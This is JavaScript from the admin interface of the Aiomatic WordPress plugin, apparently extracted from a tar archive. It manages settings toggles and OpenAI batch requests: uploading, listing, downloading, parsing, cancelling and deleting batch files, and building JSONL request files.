hideLinks() { if(jQuery("#add_links").val() == 'disabled') { jQuery(".hidelinks").hide(); } else { if(jQuery("#link_type").val() == 'internal') { jQuery(".hidelinks").hide(); } else { jQuery(".hidelinks").show(); } } } function mainChanged5() { if(jQuery("#add_comments").val() == 'enabled') { jQuery(".hideMain5").show(); visionSelectedAI5(); } else { jQuery(".hideMain5").hide(); } } function mainChanged7() { if(jQuery("#add_cats").val() == 'enabled') { jQuery(".hideMain7").show(); visionSelectedAI7(); } else { jQuery(".hideMain7").hide(); } } function mainChanged8() { if(jQuery("#add_tags").val() == 'enabled') { jQuery(".hideMain8").show(); visionSelectedAI8(); } else { jQuery(".hideMain8").hide(); } } function mainChanged10() { if(jQuery("#add_custom").val() == 'enabled') { jQuery(".hideMain10").show(); visionSelectedAI10(); } else { jQuery(".hideMain10").hide(); } } function mainChanged9() { if(jQuery("#append_toc").val() == 'append' || jQuery("#append_toc").val() == 'preppend' || jQuery("#append_toc").val() == 'heading' || jQuery("#append_toc").val() == 'heading2') { jQuery(".hideMain9").show(); } else { jQuery(".hideMain9").hide(); } } function mainChanged6() { if(jQuery("#add_seo").val() == 'enabled') { jQuery(".hideMain6").show(); visionSelectedAI6(); } else { jQuery(".hideMain6").hide(); } } function loadMe() { toggleMain(); mainChanged(); toggleCats(); toggleCustom(); mainChangedImg(); mainChanged2(); mainChanged2e(); mainChanged2c(); mainChanged3(); mainChanged4(); mainChanged5(); mainChanged6(); mainChanged7(); mainChanged8(); mainChanged9(); mainChanged10(); aiomatic_audio_changed(); hideLinks(); } window.onload = loadMe; var unsaved = false; jQuery(document).ready(function () { jQuery(":input").on('change', function(){ var classes = this.className; var classes = this.className.split(' '); var found = jQuery.inArray('actions', classes) > -1; if (this.id != 'select-shortcode' && this.id != 'PreventChromeAutocomplete' && this.className != 'sc_chat_form_field_prompt_text' && this.id != 'actions' && !found) { unsaved = true; } }); function unloadPage(){ if(unsaved){ return "You have unsaved changes on this page. Do you want to leave this page and discard your changes or stay on this page?"; } } window.onbeforeunload = unloadPage; }); function toggleCats() { if(jQuery('#hideCats').is(":visible")) { jQuery(".hideCats").hide(); } else { jQuery(".hideCats").show(); } } function toggleCustom() { if(!jQuery('#post_custom').is(":checked")) { jQuery(".hideCustom").hide(); } else { jQuery(".hideCustom").show(); } } function toggleMain() { if(!jQuery('#aiomatic_spinning').is(":checked")) { jQuery(".hideAuto").hide(); } else { jQuery(".hideAuto").show(); } }�������������������������������������������������������������������������scripts/batch.js������������������������������������������������������������������������������������0000644�����������������00000223670�14757771437�0007712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������"use strict"; function aiomaticTimeConverter(UNIX_timestamp){ var a = new Date(UNIX_timestamp * 1000); var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec']; var year = a.getFullYear(); var month = months[a.getMonth()]; var date = a.getDate(); var hour = a.getHours() < 10 ? '0' + a.getHours() : a.getHours(); var min = a.getMinutes() < 10 ? '0' + a.getMinutes() : a.getMinutes(); var sec = a.getSeconds() < 10 ? '0' + a.getSeconds() : a.getSeconds(); var time = date + ' ' + month + ' ' + year + ' ' + hour + ':' + min + ':' + sec ; return time; } function aiomaticLoading2(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn) { btn.removeAttr('disabled'); btn.find('.spinner').remove(); } jQuery(document).ready(function() { function initializeCarousel() { var currentIndex = 0; var $items = jQuery('.aiomatic-carousel-item'); var itemCount = $items.length; function showItem(index) { $items.hide(); $items.eq(index).show(); jQuery('#aiomatic-paging-holder').html((index + 1) + '/' + itemCount); } jQuery('.aiomatic-carousel-prev').on('click', function() { currentIndex = (currentIndex > 0) ? currentIndex - 1 : itemCount - 1; showItem(currentIndex); }); jQuery('.aiomatic-carousel-next').on('click', function() { currentIndex = (currentIndex < itemCount - 1) ? currentIndex + 1 : 0; showItem(currentIndex); }); showItem(currentIndex); } jQuery('body').on('click', '.aiomatic_download_file', function() { var dataID = jQuery(this).attr('data-id'); if(dataID != '') { var btn = jQuery(this); jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_download_file', id: dataID, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { var hiddenElement = document.createElement('a'); hiddenElement.href = 'data:attachment/text,' + encodeURI(res.data); hiddenElement.target = '_blank'; hiddenElement.download = res.filename; hiddenElement.click(); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file download: ' + error); } }); } else { alert('Empty data-id provided'); } }); jQuery('body').on('click', '.aiomatic_parse_output', function() { var dataID = jQuery(this).attr('data-id'); var dataInID = jQuery(this).attr('data-in-id'); var endpoint = jQuery(this).attr('endpoint'); if(dataID != '' && dataInID != '') { document.getElementById('mymodalfzr-parse').style.display = "block"; var btn = jQuery(this); jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_parse_output', id: dataID, idin: dataInID, endpoint: endpoint, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { jQuery('#aiomatic-batch-result-parsed').html(aiomatic_object.loadingstr); aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { jQuery('#aiomatic-batch-result-parsed').html(res.data); initializeCarousel(); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file parsing: ' + error); } }); } else { alert('Empty data-id or data-in-id provided'); } }); jQuery('body').on('click', '.aiomatic_delete_file', function() { var dataID = jQuery(this).attr('data-id'); if(dataID != '') { var btn = jQuery(this); jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_delete_assistant_file', id: dataID, nonce: aiomatic_object.nonce}, type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status !== 'success') { alert('Error in processing: ' + JSON.stringify(res)); } else { location.reload(); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file delete: ' + error); } }); } else { alert('Empty data-id provided'); } }); jQuery('body').on('click', '#aiomatic_file_button', function() { var aiomatic_file_upload = jQuery('#aiomatic_batch_file_upload'); if(aiomatic_file_upload[0].files.length === 0){ alert('Please select a file!'); } else{ var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_progress = jQuery('.aiomatic_progress'); var aiomatic_file_button = jQuery('#aiomatic_file_button'); var aiomatic_file = aiomatic_file_upload[0].files[0]; var aiomatic_upload_success = jQuery('.aiomatic_upload_success'); var aiomatic_error_message = jQuery('.aiomatic-error-msg'); if(aiomatic_file.size > aiomatic_max_file_size){ aiomatic_file_upload.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else{ var formData = new FormData(); formData.append('action', 'aiomatic_batch_file_upload'); formData.append('file', aiomatic_file); formData.append('nonce', aiomatic_object.nonce); jQuery.ajax({ url: aiomatic_object.ajax_url, type: 'POST', dataType: 'JSON', data: formData, beforeSend: function (){ aiomatic_progress.find('span').css('width','0'); aiomatic_progress.show(); aiomaticLoading2(aiomatic_file_button); aiomatic_error_message.hide(); aiomatic_upload_success.hide(); }, xhr: function() { var xhr = jQuery.ajaxSettings.xhr(); xhr.upload.addEventListener("progress", function(evt) { if (evt.lengthComputable) { var percentComplete = evt.loaded / evt.total; aiomatic_progress.find('span').css('width',(Math.round(percentComplete * 100))+'%'); } }, false); return xhr; }, success: function(res) { if(res.status === 'success'){ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.hide(); aiomatic_file_upload.val(''); aiomatic_upload_success.show(); location.reload(); } else{ aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.find('small').html('Error'); aiomatic_progress.addClass('aiomatic_error'); aiomatic_error_message.html(res.msg); aiomatic_error_message.show(); } }, cache: false, contentType: false, processData: false, error: function (r, s, error){ aiomatic_file_upload.val(''); aiomaticRmLoading(aiomatic_file_button); aiomatic_progress.addClass('aiomatic_error'); aiomatic_progress.find('small').html('Error'); alert('Error in processing batch file uploading: ' + error); aiomatic_error_message.show(); } }); } } }); var assistent_files = []; var assistent_files_input = []; var aiomaticAjaxRunning = false; jQuery('#aiomatic_sync_batch_files').on('click', function (e){ e.preventDefault(); jQuery("#aiomatic-batch-files > tbody").empty(); var btn = jQuery(this); if(!aiomaticAjaxRunning) { jQuery.ajax({ url: aiomatic_object.ajax_url, data: {action: 'aiomatic_list_batch_files', nonce: aiomatic_object.nonce}, dataType: 'JSON', type: 'POST', beforeSend: function () { aiomaticAjaxRunning = true; aiomaticLoading2(btn); }, success: function (res) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); if (res.status === 'success') { assistent_files = Object.values(res.data); assistent_files.forEach(async (tfile) => { if(tfile.purpose == 'batch') { assistent_files_input.push(tfile); } var appendme = '<tr><td>' + tfile.id + '</td><td>' + tfile.bytes + '</td><td>' + tfile.purpose + '</td><td>' + aiomaticTimeConverter(tfile.created_at) + '</td><td>' + tfile.filename + '</td><td>' + tfile.status + '</td><td><button data-id="' + tfile.id + '" class="button button-small aiomatic_download_file"'; appendme += '>Download</button><button data-id="' + tfile.id + '" class="button button-small button-link-delete aiomatic_delete_file">Delete</button></td></tr>'; jQuery('#aiomatic-batch-files > tbody:last-child').append(appendme); }); aiomatic_refresh_options(); } else { alert(res.msg); } }, error: function (r, s, error) { aiomaticAjaxRunning = false; aiomaticRmLoading(btn); alert('Error in processing file sync: ' + error); } }); } }); jQuery( "#aiomatic_sync_batch_files" ).trigger( "click" ); function aiomatic_refresh_options() { jQuery('#aiomatic-batch-file').find('option').remove(); assistent_files_input.forEach(async (tfile) => { jQuery("#aiomatic-batch-file").append(jQuery('<option>', { value: tfile.id, text: tfile.filename + ' (' + tfile.id + ')' })); }); if(assistent_files_input.length == 0) { jQuery("#aiomatic-batch-file").append(jQuery('<option>', { value: '', disabled: 'disabled', text: "Please upload files in the 'Manage AI Batch Requests Files' tab to use this option" })); } } jQuery(".aiomatic_cancel_batch").on('click', function(e) { e.preventDefault(); var batchid = jQuery(this).attr("edit-id"); if(batchid == '') { alert('Incorrect edit id submitted'); } else { var data = { action: 'aiomatic_cancel_batch', batchid: batchid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing batch viewing: ' + error); } }); } }); jQuery(".aiomatic_view_batch").on('click', function(e) { e.preventDefault(); var batchid = jQuery(this).attr("edit-id"); if(batchid == '') { alert('Incorrect edit id submitted'); } else { jQuery('#batch-window').html(aiomatic_object.loadingstr); jQuery('#batch-id').html(aiomatic_object.loadingstr); jQuery('#batch-status').html(aiomatic_object.loadingstr); jQuery('#batch-endpoint').html(aiomatic_object.loadingstr); jQuery('#batch-counts').html(aiomatic_object.loadingstr); jQuery('#batch-created').html(aiomatic_object.loadingstr); jQuery('#batch-input-file').html(aiomatic_object.loadingstr); jQuery('#batch-output-file').html(aiomatic_object.loadingstr); jQuery('#batch-error-file').html(aiomatic_object.loadingstr); jQuery('#batch-timeline-wrapper').html(aiomatic_object.loadingstr); jQuery('#batch-failed-report').html(''); document.getElementById('mymodalfzr-edit').style.display = "block"; var data = { action: 'aiomatic_get_batch', batchid: batchid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ if(res.status === 'success'){ if(res.data !== undefined) { jQuery('#batch-window').html(res.data['batch_completion_window']); jQuery('#batch-id').html('<a href="https://platform.openai.com/batches/' + res.data['batch_id'] + '" target="_blank">' + res.data['batch_id'] + '</a>'); if(res.data['batch_status'] == 'failed') { var failed_report = '<hr/>'; if (res.data['batch_errors']) { res.data['batch_errors'].data.forEach(error => { failed_report += `<span class="cr_red">Line: ${error.line}</span> ${error.message}<br/>`; }); } jQuery('#batch-failed-report').html(failed_report); jQuery('#batch-status').html(res.data['batch_status']); } else { jQuery('#batch-status').html(res.data['batch_status']); } jQuery('#batch-endpoint').html(res.data['batch_endpoint']); jQuery('#batch-counts').html('<span>Completed:</span> ' + res.data['batch_request_completed'] + '   <span>Failed:</span> ' + res.data['batch_request_failed'] + '   <span>Total:</span> ' + res.data['batch_request_count'] + ' '); jQuery('#batch-created').html(aiomaticTimeConverter(res.data['batch_created_at'])); jQuery('#batch-input-file').html('<a href="https://platform.openai.com/storage/files/' + res.data['batch_input_file_id'] + '" target="_blank">' + res.data['batch_input_file_id'] + '</a> <button data-id="' + res.data['batch_input_file_id'] + '" class="button button-small aiomatic_download_file">Download</button>'); if (res.data['batch_output_file_id']) { jQuery('#batch-output-file').html('<a href="https://platform.openai.com/storage/files/' + res.data['batch_output_file_id'] + '" target="_blank">' + res.data['batch_output_file_id'] + '</a> <button data-id="' + res.data['batch_output_file_id'] + '" class="button button-small aiomatic_download_file">Download</button> <button data-id="' + res.data['batch_output_file_id'] + '" data-in-id="' + res.data['batch_input_file_id'] + '" endpoint="' + res.data['batch_endpoint'] + '" class="button button-small aiomatic_parse_output">Parse Output</button>'); } else { jQuery('#batch-output-file').html(''); } if (res.data['batch_error_file_id']) { jQuery('#batch-error-file').html('<a href="https://platform.openai.com/storage/files/' + res.data['batch_error_file_id'] + '" target="_blank">' + res.data['batch_error_file_id'] + '</a> <button data-id="' + res.data['batch_error_file_id'] + '" class="button button-small aiomatic_download_file">Download</button>'); } else { jQuery('#batch-error-file').html(''); } var timestr = aiomatic_object.createdstr + ' ' + aiomaticTimeConverter(res.data['batch_created_at']); if (res.data['batch_in_progress_at']) { timestr += '<br/>' + aiomatic_object.progressstr + ' ' + aiomaticTimeConverter(res.data['batch_in_progress_at']); } if (res.data['batch_cancelling_at']) { timestr += '<br/>' + aiomatic_object.cancellingstr + ' ' + aiomaticTimeConverter(res.data['batch_cancelling_at']); } if (res.data['batch_cancelled_at']) { timestr += '<br/>' + aiomatic_object.cancelledstr + ' ' + aiomaticTimeConverter(res.data['batch_cancelled_at']); } if (res.data['batch_finalizing_at']) { timestr += '<br/>' + aiomatic_object.finalizingstr + ' ' + aiomaticTimeConverter(res.data['batch_finalizing_at']); } if (res.data['batch_completed_at']) { timestr += '<br/>' + aiomatic_object.completedstr + ' ' + aiomaticTimeConverter(res.data['batch_completed_at']); const date = new Date(null); date.setSeconds(res.data['batch_completed_at'] - res.data['batch_created_at']); const resulttime = date.toISOString().slice(11, 19); timestr += '<br/>' + aiomatic_object.completedinstr + ' ' + resulttime; } if (res.data['batch_failed_at']) { timestr += '<br/>' + aiomatic_object.failedstr + ' ' + aiomaticTimeConverter(res.data['batch_failed_at']); } if (res.data['batch_expired_at']) { timestr += '<br/>' + aiomatic_object.expiredstr + ' ' + aiomaticTimeConverter(res.data['batch_expired_at']); } jQuery('#batch-timeline-wrapper').html(timestr); } else { alert('Incorrect response from the back end!'); } } else{ alert(res.msg); } }, error: function (r, s, error){ alert('Error in processing batch viewing: ' + error); } }); } }); jQuery('#aiomatic_sync_batches').on('click', function (e) { e.preventDefault(); var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_sync_batches', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-batch-success').show(); setTimeout(function (){ jQuery('.aiomatic-batch-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing batch requests sync: ' + error); } }); }); jQuery('#aiomatic_delete_all_batches').on('click', function (e) { e.preventDefault(); if(confirm('Are you sure you want to delete all locally stored AI Batch Requests?')) { var btn = jQuery(this); aiomaticLoading2(btn); var data = { action: 'aiomatic_delete_all_batches', nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-batch-success').show(); setTimeout(function (){ jQuery('.aiomatic-batch-success').hide(); },2000); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing batch requests sync: ' + error); } }); } }); jQuery(".aiomatic_sync_batch").on('click', function(e) { e.preventDefault(); var batchid = jQuery(this).attr("sync-id"); if(batchid == '') { alert('Incorrect sync id submitted'); } else { var data = { action: 'aiomatic_sync_batch', batchid: batchid, nonce: aiomatic_object.nonce, }; jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(jQuery('#aiomatic_sync_batch_' + batchid)); }, success: function (res){ if(res.status === 'success'){ location.reload(); } else{ alert(res.msg); aiomaticRmLoading(jQuery('#aiomatic_sync_batch_' + batchid)); } }, error: function (r, s, error){ alert('Error in processing batch sync by id: ' + error); aiomaticRmLoading(jQuery('#aiomatic_sync_batch_' + batchid)); } }); } }); jQuery('#aiomatic_batches_form').on('submit', function (e) { e.preventDefault(); var form = jQuery('#aiomatic_batches_form'); var btn = form.find('#aiomatic-batch-save-button'); var data = form.serialize(); jQuery.ajax({ url: aiomatic_object.ajax_url, data: data, dataType: 'JSON', type: 'POST', beforeSend: function (){ aiomaticLoading2(btn); }, success: function (res){ aiomaticRmLoading(btn); if(res.status === 'success'){ jQuery('.aiomatic-batch-success').html("AI Batch Request saved successfully!"); jQuery('.aiomatic-batch-success').show(); location.reload(); } else{ alert(res.msg); } }, error: function (r, s, error){ aiomaticRmLoading(btn); alert('Error in processing AI Batch Request saving: ' + error); } }); return false; }); var codemodalfzr = document.getElementById('mymodalfzr'); var btn = document.getElementById("aiomatic_manage_batches"); var span = document.getElementById("aiomatic_close"); if(btn != null) { btn.onclick = function(e) { e.preventDefault(); codemodalfzr.style.display = "block"; } } if(span != null) { span.onclick = function() { codemodalfzr.style.display = "none"; } } var codemodalfzr_edit = document.getElementById('mymodalfzr-edit'); var span_edit = document.getElementById("aiomatic_close-edit"); if(span_edit != null) { span_edit.onclick = function() { codemodalfzr_edit.style.display = "none"; } } var codemodalfzr_parse = document.getElementById('mymodalfzr-parse'); var span_parse = document.getElementById("aiomatic_close-parse"); if(span_parse != null) { span_parse.onclick = function() { codemodalfzr_parse.style.display = "none"; } } window.onclick = function(event) { if (event.target == codemodalfzr_parse) { codemodalfzr_parse.style.display = "none"; } if (event.target == codemodalfzr_edit) { codemodalfzr_edit.style.display = "none"; } if (event.target == codemodalfzr) { codemodalfzr.style.display = "none"; } } }); //https://help.openai.com/en/articles/9197833-batch-api-faq function aiomatic_batch_data_changed() { var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { var aiomatic_legacy_data = jQuery('#aiomatic_legacy_data'); var aiomatic_gpt_data = jQuery('#aiomatic_gpt_data'); aiomatic_legacy_data.hide(); aiomatic_gpt_data.show(); } else { var aiomatic_legacy_data = jQuery('#aiomatic_legacy_data'); var aiomatic_gpt_data = jQuery('#aiomatic_gpt_data'); aiomatic_legacy_data.show(); aiomatic_gpt_data.hide(); } } jQuery(document).ready(function ($){ function aiomatic_stripslashes (str) { return (str + '').replace(/\\(.?)/g, function (s, n1) { switch (n1) { case '\\': return '\\'; case '0': return '\u0000'; case '': return ''; default: return n1; } }); } $('.aiomatic_modal_close').on('click', function (){ $('.aiomatic_modal_close').closest('.aiomatic_modal').hide(); $('.aiomatic_modal_close').closest('.aiomatic_modal').removeClass('aiomatic-small-modal'); $('.aiomatic-overlay').hide(); }); function aiomaticLoading(btn){ btn.attr('disabled','disabled'); if(!btn.find('spinner').length){ btn.append('<span class="spinner"></span>'); } btn.find('.spinner').css('visibility','unset'); } function aiomaticRmLoading(btn){ btn.removeAttr('disabled'); btn.find('.spinner').remove(); } var aiomatic_max_file_size = aiomatic_object.maxfilesize; var aiomatic_max_size_in_mb = aiomatic_object.maxfilesize / (1024 ** 2); var aiomatic_delete_file = $('.aiomatic_delete_file'); var aiomatic_ajax_url = aiomatic_object.ajax_url; function aiomaticSortData(){ $('.aiomatic_data').each(function (idx, item){ $(item).find('.aiomatic_data_prompt').attr('name','data_batch['+idx+'][prompt]'); }); $('.aiomatic_new_data_batch').each(function (idx, item){ $(item).find('.aiomatic_new_data_batch_system').attr('name','new_data_batch['+idx+'][system]'); $(item).find('.aiomatic_new_data_batch_prompt').attr('name','new_data_batch['+idx+'][prompt]'); }); } var aiomatic_item = '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea><span class="button button-link-delete">×</span></div></div>'; var aiomatic_new_item = '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User"></textarea><span class="button button-link-delete">×</span></div></div>'; var aiomatic_data_restore = window.localStorage.getItem('aiomatic_data_list_batch'); if(aiomatic_data_restore !== null && aiomatic_data_restore !== "") { var appendData = ''; var oldobj = ''; try{ oldobj = JSON.parse(aiomatic_data_restore); oldobj.forEach(function (element){if(element.prompt !== null && element.prompt !== undefined){appendData += '<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt">' + element.prompt + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); appendData += aiomatic_item; $('#aiomatic_data_list_batch').html(appendData); } catch(e) { alert(e); } } var aiomatic_new_data_batch_restore = window.localStorage.getItem('aiomatic_new_data_batch_list'); if(aiomatic_new_data_batch_restore !== null && aiomatic_new_data_batch_restore !== "") { var appendData = ''; var oldobj = ''; try{ oldobj = JSON.parse(aiomatic_new_data_batch_restore); oldobj.forEach(function (element){if(element.prompt !== null && element.prompt !== undefined){appendData += '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System">' + element.system + '</textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User">' + element.prompt + '</textarea><span class="button button-link-delete">×</span></div></div>';}}); appendData += aiomatic_new_item; $('#aiomatic_new_data_batch_list').html(appendData); } catch(e) { alert(e); } } var progressBar = $('.aiomatic-convert-bar'); var aiomatic_add_data = $('.aiomatic_add_data'); var aiomatic_clear_data = $('.aiomatic_clear_data'); var aiomatic_download_data = $('.aiomatic_download_data'); var aiomatic_load_data = $('.aiomatic_load_data'); var form = $('#aiomatic_form_data'); aiomatic_add_data.on('click', function (){ var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_batch_list').append(aiomatic_new_item); } else { $('#aiomatic_data_list_batch').append(aiomatic_item); } aiomaticSortData(); var total = 0; var lists = []; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; lists.push({prompt: item_prompt}); } }); if(total > 0){ try { var jsonstr = JSON.stringify(lists); window.localStorage.setItem('aiomatic_data_list_batch', jsonstr); } catch(e) { alert(e); } } var new_total = 0; var new_lists = []; $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== ''){ new_total += 1; new_lists.push({system: item_system, prompt: item_prompt}); } }); if(new_total > 0){ try { var jsonstr = JSON.stringify(new_lists); window.localStorage.setItem('aiomatic_new_data_batch_list', jsonstr); } catch(e) { alert(e); } } }); aiomatic_clear_data.on('click', function () { var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { $('#aiomatic_new_data_batch_list').html('<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System"></textarea></div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User"></textarea><span class="button button-link-delete">×</span></div></div>'); window.localStorage.removeItem('aiomatic_new_data_batch_list'); } else { $('#aiomatic_data_list_batch').html('<div class="aiomatic_data_item_single aiomatic_data"><div><textarea rows="1" name="data_batch[0][prompt]" class="regular-text aiomatic_data_prompt aiomatic_height" placeholder="Prompt"></textarea><span class="button button-link-delete">×</span></div></div>'); window.localStorage.removeItem('aiomatic_data_list_batch'); } }); var Download = { click : function(node) { var ev = new MouseEvent("click", { bubbles: true, cancelable: false, view: window, detail: 0, screenX: 0, screenY: 0, clientX: 0, clientY: 0, ctrlKey: false, altKey: false, shiftKey: false, metaKey: false, button: 0, relatedTarget: null }); return node.dispatchEvent(ev); }, encode : function(data) { return 'data:application/octet-stream;base64,' + btoa( data ); }, link : function(data, name){ var a = document.createElement('a'); a.download = name || self.location.pathname.slice(self.location.pathname.lastIndexOf('/')+1); a.href = data || self.location.href; return a; } }; Download.save = function(data, name) { this.click( this.link( this.encode( data ), name ) ); }; aiomatic_download_data.on('click', function () { var select = jQuery('#model_selector_data_batch').val(); var model_max_tokens = jQuery('#model_max_tokens').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { var total = 0; var lists = ''; $('.aiomatic_new_data_batch').each(function (idx, item){ var item_system = $(item).find('.aiomatic_new_data_batch_system').val(); var item_prompt = $(item).find('.aiomatic_new_data_batch_prompt').val(); if(item_prompt !== '') { total += 1; var messages = [ { role: "system", content: item_system }, { role: "user", content: item_prompt } ]; var json_arr = { custom_id: "request-" + total, method: "POST", url: "/v1/chat/completions", body: { model: select, messages: messages } }; if (typeof model_max_tokens !== 'undefined' && model_max_tokens !== null && model_max_tokens != '') { json_arr.body.max_tokens = model_max_tokens; } try { var myJsonString = JSON.stringify(json_arr); lists += myJsonString + '\n'; } catch(e) { alert(e); } } }); lists = lists.trim(); if(total > 0){ try { Download.save(lists, "new_data_batch.jsonl"); } catch(e) { alert(e); } } else { alert('No data to download!'); } } else { var total = 0; var lists = ''; $('.aiomatic_data').each(function (idx, item){ var item_prompt = $(item).find('.aiomatic_data_prompt').val(); if(item_prompt !== ''){ total += 1; var json_arr = { custom_id: "request-" + total, method: "POST", url: "/v1/embeddings", body: { model: select, input: item_prompt } }; try { var myJsonString = JSON.stringify(json_arr); lists += myJsonString + '\n'; } catch(e) { alert(e); } } }); lists = lists.trim(); if(total > 0){ try { Download.save(lists, "data.jsonl"); } catch(e) { alert(e); } } else { alert('No data to download!'); } } }); aiomatic_load_data.on('click', function (event){ event.preventDefault(); var aiomatic_file_load = $('#aiomatic_file_load'); if(aiomatic_file_load[0].files.length === 0){ alert('Please select a file first!'); } else { var aiomatic_file = aiomatic_file_load[0].files[0]; var aiomatic_file_extension = aiomatic_file.name.substr( (aiomatic_file.name.lastIndexOf('.') +1) ); if(aiomatic_file_extension !== 'jsonl' && aiomatic_file_extension !== 'csv') { aiomatic_file_load.val(''); alert('This feature only accepts JSONL or CSV file types!'); } else if(aiomatic_file.size > aiomatic_max_file_size) { aiomatic_file_load.val(''); alert('Dataset allowed maximum size (MB): '+ aiomatic_max_size_in_mb) } else { var select = jQuery('#model_selector_data_batch').val(); if(aiomatic_object.moder_gpt_models_aiomatic.includes(select)) { var reader = new FileReader(); reader.readAsText(aiomatic_file, "UTF-8"); var thehtml = ''; reader.onload = function (evt) { if(aiomatic_file_extension == 'jsonl') { var explodefile = evt.target.result.split(/\r?\n/); explodefile.forEach(function (element){if(element.trim() !== ''){var oldobj = '';try{oldobj = JSON.parse(element.trim());}catch(e) {alert(e);}if(oldobj.hasOwnProperty("messages")){if(oldobj.messages[0].role !== null && oldobj.messages[1].role !== null && oldobj.messages[2].role !== null && oldobj.messages[0].role !== undefined && oldobj.messages[1].role !== undefined && oldobj.messages[2].role !== undefined){thehtml += '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System">' + oldobj.messages[0].content + '</textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User">' + oldobj.messages[1].content + '</textarea><span class="button button-link-delete">×</span></div></div>';}}}}); if(thehtml !== '') { thehtml += '<div class="aiomatic_data_item aiomatic_new_data_batch"><div><textarea rows="1" name="new_data_batch[0][system]" class="regular-text aiomatic_new_data_batch_system aiomatic_height" placeholder="System"></textarea> </div><div><textarea rows="1" name="new_data_batch[0][prompt]" class="regular-text aiomatic_new_data_batch_prompt aiomatic_height" placeholder="User"></textarea><span class="button 